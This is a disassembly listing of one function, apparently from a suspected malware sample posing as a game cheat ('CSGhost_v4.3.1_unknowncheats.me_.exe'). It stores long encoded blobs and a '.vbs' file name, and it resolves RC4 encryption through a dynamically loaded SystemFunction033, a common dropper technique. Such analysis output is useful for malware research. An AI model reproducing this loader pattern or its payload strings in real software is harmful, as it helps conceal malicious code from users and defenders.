Function at 0x140001c90
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
lea rax, [rbp - 0x36]
mov qword [rbp - 8], rax
nop
nop
lea rax, [rbp - 0x36]
mov r8, rax
lea rax, str.fJZk3Mrtu09GC5LMqEvELKT55tu1wKY2juuMvurASdzHLpw4FhsoHL7XQVyMBIPGz5dD6WkgnPRRrN11j2ZPPKE5zOlejUXhnKDTiMLJBMTZHI2dTWWsWOXFdGiM9xs6cT_QyCWrzPmkpzDEuaRMdWVzo6c0KVKY42XxzDkKIIhx0kefcgiG48mtQ1IRTMZe6Zqta8SBmLw8UrvQIRyP5RhBzkU69gnzIEvSH7yCSp0e7RWy4BDMRLktTNh7_7bduiHUlY6hZsmuUhJvTd5NshaexQcBSsrhybKICEEAorpdvaQHyX2gyB7PbQxKQ2O3qGpUWbkVQ3WZCo7PQNwprU0FMfaBLZvDeqpv6UySoWGFbqymT5OSshuFd6uyOrAwu5GqHhRhhvYgJ20P7d0Krr9WQctWzg1aaeqMerO8gcTJiUn1HJFIPKHgdPpdo32Bs_jJmNWOPcBXjjHmjb33p3ySQYXzC0x47x4FH850mAvFATm1HA8utfh0E3v2Gode2GfDzD3LtwYAgpvTYraOkbgQzrXczyHv7E4lTCd7BRT8Re0uGT37VuH2EUANCNrBaaehrI2qaM_vUawNWvna8lVOXCxnvEwDhbX8WAGq9wSSpzinF_1mFhL5J0GRr5L5_JUWKFqMv68iXVJy4DCF49IndPQ1kFIZMBBHZzdHAPRgTNYFjMLKSXFRusCe0BVwoht8HhXxc7rBCRNrCTTfIxObntpWso49QbRnl0SYf7QcFd5aaBoVUZmdkBJEkE3degrICwnOEj3hwPbGR8MH3nAex1U2iNw9Hwrtn5Xd9Mz2r4_pEUHAQyPaB5Fv_YjAgzok7OoJOuhDEd3RWX8IbWL42jfe2ajs7Ubaalip3L6JX39IMdW_Lk3OJDxgp5oMH1D197uMeN1eI_1ZXF1B3Kzk06454rgYIHNvXn7rmNY5udJmcgS4dh7zEjG4N5PXKDhfC45KEg3p7Rb79PYtbzO398z5p5CHgrTjtbRM8bXcuAQuZ0MwxSZY_ZdiSocfqWTP8IGJK0IbrONI2RYou4kNdkdO_j96nrKPx1I8Ynzj8qEmQfr6Y2Mi26Mv_1ED3W8U8sXaczCqqLKyA_W4bzs2nPu1KZMNWzdxAjtvnwCOrbf458AU44XicD8ofUNKPVkTP_U6zuOT2lgAu0WpRUkij20BvXrFis5pwkvGcfkcPmTY2CyY7DxYRzdZvaGgk0ENMzX1CLefn2D_dqNPxPhpLumfRZdDBexFibYAOtX0MXGEA2gYIqadPxcyIG7oqfieUNG4bR3vPWBlvtyZF2nxr74amgY1E9FISezj3aK1O7aH0Rq7QV70H0mygZ7Z0bLsxWb96JduI6_eD5p_OVPHIxHOCVUfghC5oHJc0xi3chpZTkVzgNkhuPYUwZGw8bKFcrh1ubnvEc9nX1abGeDfJLQgdf7dcfbhEaepRhQ4JFbEEHfQ1smfMZw9VlddQqt25qF2hL_frTQ5zDy5D7YwSGe6u9umyXewccPmo9zkDG4OnnCp7g7soaLEktO72777KOzbaPpsCrCxsz5VX04jNXi2NC0yFZSrL5EEzu_NxWya_VpLLCBCSZybBjgoepaTLjoZyjdLn6_NEIUkehF7_nbKXOmljnMbyE5EOITusFKkJsYbRc3AodDY7CE3zirm3ElqKnpOqHUk1d9nuQyiHDdZYlRTbrNhpGvg5xkj7NzV_x_GgZlIS8htW4LYyudeZaY_nYXx0gedQI1NATNbR7BcVrYU1BsQhp5Wr5R3Ss7YI_rbbmjCElJAad7Yh_cKVoV_xxjoHf4NQl65JILLWuUSLkZI3c3drAM_v2bbh3Jk6cJn8g8wiAvmEBNG9mBQ61jFROk_gv87oIZU_6Wuq1YQubDTZ5C2x_xO8m3iRhVSPpWnmD1TFjNps6b6pWhpXWYLpgA4LSXMmshffKZOjR0EVD8zBkxabJV0XbcDQ2G9z7c7wbcW7GX97_6QfgRidqKjZ54Lkf2m5nKHvymzWozq01X413unWS1qYCDcVE4DoPYzLL95u69z0LTDGFEhnReUDiOjVvk1OXMq4JFn_u4fNXGF5gEMtvEh3msfcmO77pllu8gUO5L1MEOq4OWmAVAF15XeFZ4VuetQ6OZBv5Lu6qYgxp9k3eBPw476yxo7041Lpxu8hibO8VSxKqUVziM4mxLAcIT3KB0lZ9mtCXBXoMNy47YVXSK1fWXXUvkyDKK3HsYCRCDpLXw_O9zPn98jrwC9r48k76DytUUyTOUCgpbWbNQVOHhlQJO6oWbiq2zz_g1YzVyIFlmivNgvHw1qLLK2DflXxBBOQMcepx7ku0_gL4brzAzIuGkFMDi5c24z_kwdRHMrBSa4LDWFoXcpYx7MJpE_wfqUutFXZuX5SQF7FZLLv_Itt5hyg8MNdH94yDXV1CpRW4qE2Lj80xPA4ulZQ81KFwkOSpVuQrO_x8pK22ARkpEvT7nFBjmfw8riH0GmfeqZ4DROngcDc6944AwSLIib7lsa4bexS1QFYnw4WId8SDPtBtyIDDipuL4keLSL1lxGEiDbjFHmAjsUP_1JsVqxG1rpJOsvp_bccfl_YwChDjKJ7rMXwwgtVP_xMC6PGvMAl90mmRnum2K9DYWMvZZk6Xvzu9y78XL_AB3NhELRRd2rwIoloKWK5tkFMK6xy_xh7uI89wV_LqXT9gWwucw6QbMASqbDSYYIW2pOtOcAvuRkO122ijAAyDs2FxHJryPtUo47r3ZFr5SJMaAVvyyA3rvPCyTXChHHaWnNqh2x3Cc03OeRKlYQaRHNWpwyCBPWtwIFX5069JpeME6FErEDUJv4mIsf8GSLIrt3vs32nSgHGKkeMduD9Nntn2qk82GnjgQM45NQ8QLpHilCGRXOA96qfJiE6pUAC_40cQSxm0XgMdWONT43lg_5gVBpxM1FjJQs4lIPJ82wfnOpZhGioxjoR0LHbRSsOBNnNdVnHlGRcmJFDktGUQUOlDwQYRAevIbJDljlSdVJwcGDvFUWROc4KVb6eoujVZkC0nVc5Kry2dbe5pWgNwkOB2ABEte0r3DbbO1ui62Qx1xHSGBrQnhAA7trqIM2QHku368BrOsBA67Eie7lBvLFHALd3kBUuhhBb91NqW7FSXFbm5PEjUp4rc4NjDXkJ_fzfu_jCZtM6mlNGNe9NMGKFUCuZIy5065y3xIVJ3u5dO3hGXl891W61rvpBGPz1ZpEaOZjq7mbnqrNDRD_WHPlowJJcDfL4GoAMQ_uO2x_FbaIIKei3umKichcIEVZZu8SlZXsnCCbacXZVuL4ji4_IoGPf184GZroCHX5NFODdjH1GXOICzelVwBnV1wzwo7s26Slb0cAvlSFifJqOugcyoMJOttyYJ6Z6mfypcm7YmmwQWdzqjQ8b76IqcVIjZqXznFhf9oBlhptMpjsSShhEpvFTofFesMrWItwRw507cPMZgoKAi_xJUFcFTtT5YhuZQIxO7gpny3OjpZmY6UL63Pmwg_GAM3TsYJzBFlqapIfX7UcUqyBsSd31Wj4tKE66C4wSOWEmZjktOkPRYEu7GEGzJFdgwpiV0xUynjzSMNZ36TriUrVBo_cDPK6_DHe6zoWSyw0PvAhAOerqYhmPzBWgS5eTXnalaewDzsEzWtyb63DvU1ifF2GyCvPkVcgzBeUrgH2cvn0qtfh9yBgaVQdnXq6v1ZzbjPBgqipx3X_vVVaNG8FyM4lXjaqavjZL7gGrHLY5qMKnKYvph7uJGi8cT8cIWz2iSh5sTHS8sWPA2VEIX0d0pyGyBXgOrU7gZQls019YSVVfUglDILXgIgcFtelvv_75u9ao3ndARCg6Qhr0Lk8sREtb4Xh3or8Irxev4xpfDrtAObMQ2vibQpajkBHJ1LG3ER7gcvb0BZLFPMkOFjl3507mKzzMqLTSLvE4imyn3thKvEwtIGzqL2ijV8HP22AToUDJdI2hnRlWpuALu7l5j5KQfPrv7kw3ROZGJTrmwKa8ovC5PTnqNyAefm
mov rdx, rax
lea rax, [0x140139040]
mov rcx, rax
call fcn.1400b8950
lea rax, [rbp - 0x36]
mov rcx, rax
call fcn.1400a9f50
nop
lea rax, [0x140001bdc]
mov rcx, rax
call fcn.140001400
lea rax, [rbp - 0x35]
mov qword [rbp - 0x10], rax
nop
nop
lea rax, [rbp - 0x35]
mov r8, rax
lea rax, str.YqmA_KvNhm8BefetI9GLTnachad4vFlrZnlzp7uGrSiQvAaPxYifpCFjGtSEnFifx5ybIXU7QS0NMAdu1D1HNHVMm3XoVqzy6iL6tSFRgPYzspaQqer2uZTJKBJMJi7pe9C0OLtzCnlZbDdIurdMDagoLFr4htEv_51iQXPLzN9zY_Q6G1RPBiym46MThOmaVk479dJfzvkLN3lXxz8NuVjixK5eI2ndbEe74zR14L3uCnxRXLPE8CbR414B8FznSSSsWzKxEPXxAgtEzH3EIzg2yNM0xFuS3MqqXwFTOxqopbzBh5Rvce2OoKnYLb2w9ZU5GIAfwevrhE7BMyD0lB8axTe7OcKUBgj_isJKBA9zgIP_212lFSomBPLt6z_xKdyVBRtZzQhkvhOCXk58VI643urgVC4DpWceUs5eqyKFaP4mW4iHZY49gTyx52k17fkuKIjrBzrh_meylzYf9TZWxVz3ckMYkR7Ei1ZErcfWNo2pQAdgneTuIzqCnwY1SKsvUVXHgKOaqhC9RQSWmKKamdfJShgSDqVcciLLY3opVtrd1beg027QCH_0vuWmzo54bvjJB7tLr53BzZ9ie_6bSMYX7z8dyS4S_M3mj31EHUY5gLeXCTQvLljaf29sZzXHrPjZ8QbXJPwEargKBCFYBQjiQwEKYGBZyNBiP3oZ67dR1pWFHnagt2CTU064Vns02RbScV22L4QtXfJJGNyrams4qZ7PmrBjyBuqJQmyJMUvLxlsoiQwRBYPpwXAF76pdm6SfLuXN7eaGbpI6BFSCUsSb2eXliqZ4DjtMyRRjNxp4vBD9m7ZCkgHCrLYYrnvdDGrBiAhQAAY_O6Z3MWxTrdVnJElodPa_2FgkCsdykaAfUAyu83O_Rh9vqPEEFJYoEFMEnensSQEgj5SZUtn3sgcrMpLBRVKUAy4__Q0s5FUQjaIWGmBe0XdW_q5TRh9LswhSFqhj06pnpFPInrGuaqP5uPmp8fG998Wpv24FZEACF9jFcWmEjOeY6zEGNm9veYyBD_okvu1thysdrAAY9nxoOu_DknQV0ACSxmMZEDLOLLQVUmtBO2j0mnwROpY24K2LAz9D_SoT2CU1375qQRrZPMG0mSlk3zWrpzauWktFmJc9k6OWfhLdmcqIsLqeGgVzsAiARTItg5GZFr1yRRJ6xQWNb_1tFfqWpOYjdBRbzENHUDTmfDazRyi9cZqawtmXDzPli5vXjbBgfnNJ0EVmmgMrj_5LUrcESVhWTNXpOcPK7irJGpkttj17odAUvefuIWXdTrIp7Q09ECsqcv4MTtadsnXvqaRHuw9jsPm9FjQGwm8fRHg6_m7nPudtSZmWrvD9YFcelVXCq0tRN593quZN3kMIfuIQS10dL2mS5cmJWE81Il4dKMPsois7sYe3xdW2QWwxMSDraUpjL3MJ6KOYHkapDyGiDJTEVOtkTpzecx_pH4PvdOKypUATXZAfWu7PwxSODDbHwkj0pL4_wIRt8BIRcU38xdqAD5omTXsdbLsrpEDtNO7Xyg4V4DFXU_9ks3oGKYWBU9tFCQiaEHVaqgSWtcRjU9zivF2dfK9_YhwmM_VoS98v_oj8qh8IqTKpolUO61a2Fjt4tyRZ_TKzeAI5I6y1fguXajc3YOyOWpORqgN3Ba83Xry6Q1n6yXdm_l92b3BZ1DHkelVj9l0g4wZViD0kDFJoDBi7BWkkUl3ghmSrZcwlYK4UUoS0oo_XOebsfkrSSh2oYO4sxurHV64r00UglH0U1GgcQGudRDhBGrqhigtEa4XiVYHfWZpjbvKxadQKBWkd_q0QBrht_BJ_1aoI03KCd67lfhx3Awum1oVywNGl7axy7eKS62JUUVF3oVBtEcnf1xhMP7sSkvZFqRC8Fc9sky3OEDzthHrna87PFIzKYJLJtxHgbo4F0w7cr8hbcTiBi1LMHpWKgfmXnOjAwQrWypG4N289_VFpf47qX4r9OFM83RJ7MRzsw8QkgygJFsriClktaQ4jehTeNz3e3ZMWmSW7cFP9g5H2X4Ynzh5f1_GgerR6f9dwWiKLI3iV9HiZtRurFlMhUUwVyor3PyquGo3s0sggsb0ntAvsZGW7Y46EBrxMgKlq9fUk0e_K8d92U_iBDjfvbas4BbAV03RJYrhcpjeJeXRkuuuUpdpxTAsdC3LFWqw3PKTAHq14BbzxgEYp00r8Bfe3APBaj5QUd1Ojp4k2BWthsKJUsIMyaB3s1gpGUJiPhGB6lXFVMtA_cKlMSjeeyxCA7T0Yd6RT6BXcL3NXkIapihP0GiQifIoVqlIfhUFJNO5puEyOvAupuC0dCQyncPfJHGM9EFBTgelOnexIa4jK3MVLk5LrQLZ2u4WSinx81iWjYGpDczs0vXyi6XQ8AbHOFHK2Q4dNX0Y4ZBknlH1EW79v2aGuvLJCyIPXzr6ADCYnBozAsJBtWHYw30r055CE7hWIPpY6am_4s3t2hte5blXVU4_B_c2vbViX4qYpP3nN_Z2HR9BtytlWa25W8y0Lore4z2kS_7TUmJreI4ExqukioJ6eK1RQCBpAkplbnx6E4R42XKNuiPHOXc4osIYhP1rKFa8GFLv7C9aFxBC7BmKOVGFBiyF4AArn6b_iS0q_s7KBNTn_wRGy1smh1HNLm0xK6Yn38hLT4eIyjbBGvRrrAlHJOaD76rW3N6WaSBaakwV8lTXNJNabf7P8_waoTvIL9g_IValBUXSgnmcBtWueO9in5pR5EmZIJv6erfLbxY3_F_fApIFsYIxE83fjWMlDYX0G_iRJIxQShyl6UO8BL8HWv91bC1RDm3rOWBHLvlmSF3TjAVByDWl4QLgCWSthl7WLFTFVxJ_NM9efHYBnNlMzOGsPWT3w5nsRIrCkEy5X_djsXfnBwkGZPx66IeIfTi7svforECZXBhTuftd0RjXNccM6xUzc0ZBANBeEg0qPEBOtliGOx2cLIFEI_Mu134sWyE1ssz2qTo0Xz26hKKFheoT07OL9lc2DJIlpDDflhDd2n6OmduZdDR8gpFOqjX3te1GF5VecxgDp6JF74b1d1ZHhEP5kjRbha4O5yPiNjQpEjmmTn9IiSF890NXv6k94qdoZC8d8lGWfUAef4acJz8oTJ5dFJgWYNRqzZF1ncuhftHGu3BaLMop4qmXfFvLoXNnyXIqpDRYjqazLrF2XJ8YzdlrfUJsGCW_H5l2GfskNhT9ElrmAYaRHjQv8YAHZr3hvDu_MYBq1qz0jhLIphuZxg8LFA5JRg6r9haRwotqYwop3rioNxCJo0AnwMUAbs40RRubkrRjhKwZWXwxxHfQ0JYi_ujqcnG09rdyhcEjuqAv_18sl8ZRa1lmdyqKF7PnBndFMoCPNM511mqjscjUwUq6rMU5CkkTPBwXZpVe3AECVFnGmHmGo27Z6728a3Q9LN_FNJygNHif9RLppDpyP91o7QtVInh0UOE9xZM7Kp1CedLRIfxq2PREHDkQSOC61kgb69kHERFNKdJgUHWe3IcEza3xecfbW6Er39yQp9SRsXcmZb0wFRIU8YwkzB7V8kFKsPHWsfDHiYG2ihAyRWVuKWHVeLinTAJXEQc_rwLdjhKuSJlC35ADbcd6HbWpqmIkPVGjPmqtlFObu3pyUA_vGxlk21deT6RzkRU2tmYqbDnryOqgTLrvyDLQq2U26nPswf5ZcW3gqzDGBlIGh7NDgkNrnRaAIbyqYoiHvqIyjpv9W5ZbycR8RiCgy6wFFFa2I9uRftevVgFFgSeKsPZf_s2oyXklSiq9U4tRFiASP2eIbypHA82c_5QO7htO3F87X_6F4N3ZF9zX3tj_dzsHLmbNH3XGTrkg8LrFw4IKWvDih84MSLSOZW23ZS6fGltoz0KcsrpEK5t8BBUiQ7V_Lw9FNqXho7LOL6r2grfiwNZGFlH8pGxI3b2zKNqER5U9iVZzk13JYSOdeCVrUDzADwqmmMIOJLNGkaLYOorNzXHAKUP3ZtZUDd8VFAzAff4Ar5Kxva9uoNj5e0d
mov rdx, rax
lea rax, [0x140139060]
mov rcx, rax
call fcn.1400b8950
lea rax, [rbp - 0x35]
mov rcx, rax
call fcn.1400a9f50
nop
lea rax, [0x140001bfa]
mov rcx, rax
call fcn.140001400
lea rax, [rbp - 0x34]
mov qword [rbp - 0x18], rax
nop
nop
lea rax, [rbp - 0x34]
mov r8, rax
lea rax, str.CSGhost_v4.3.1_unknowncheats.me_.exe
mov rdx, rax
lea rax, [0x140139080]
mov rcx, rax
call fcn.1400b8950
lea rax, [rbp - 0x34]
mov rcx, rax
call fcn.1400a9f50
nop
lea rax, [0x140001c18]
mov rcx, rax
call fcn.140001400
lea rax, [rbp - 0x33]
mov qword [rbp - 0x20], rax
nop
nop
lea rax, [rbp - 0x33]
mov r8, rax
lea rax, str.7704_output.vbs
mov rdx, rax
lea rax, [0x1401390a0]
mov rcx, rax
call fcn.1400b8950
lea rax, [rbp - 0x33]
mov rcx, rax
call fcn.1400a9f50
nop
lea rax, [0x140001c36]
mov rcx, rax
call fcn.140001400
lea rax, [rbp - 0x32]
mov qword [rbp - 0x28], rax
nop
nop
lea rax, [rbp - 0x32]
mov r8, rax
lea rax, str.HWPII1EGkf
mov rdx, rax
lea rax, [0x1401390c0]
mov rcx, rax
call fcn.1400b8950
lea rax, [rbp - 0x32]
mov rcx, rax
call fcn.1400a9f50
nop
lea rax, [0x140001c54]
mov rcx, rax
call fcn.140001400
lea rax, [rbp - 0x31]
mov qword [rbp - 0x30], rax
nop
nop
lea rax, [rbp - 0x31]
mov r8, rax
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rdx, rax
lea rax, [0x140139120]
mov rcx, rax
call fcn.1400b8950
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.1400a9f50
nop
lea rax, [0x140001c72]
mov rcx, rax
call fcn.140001400
lea rax, str.advapi32
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.SystemFunction033
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1401390e0], rax
jmp 0x140001f17
add rsp, 0x68
pop rbx
pop rbp
ret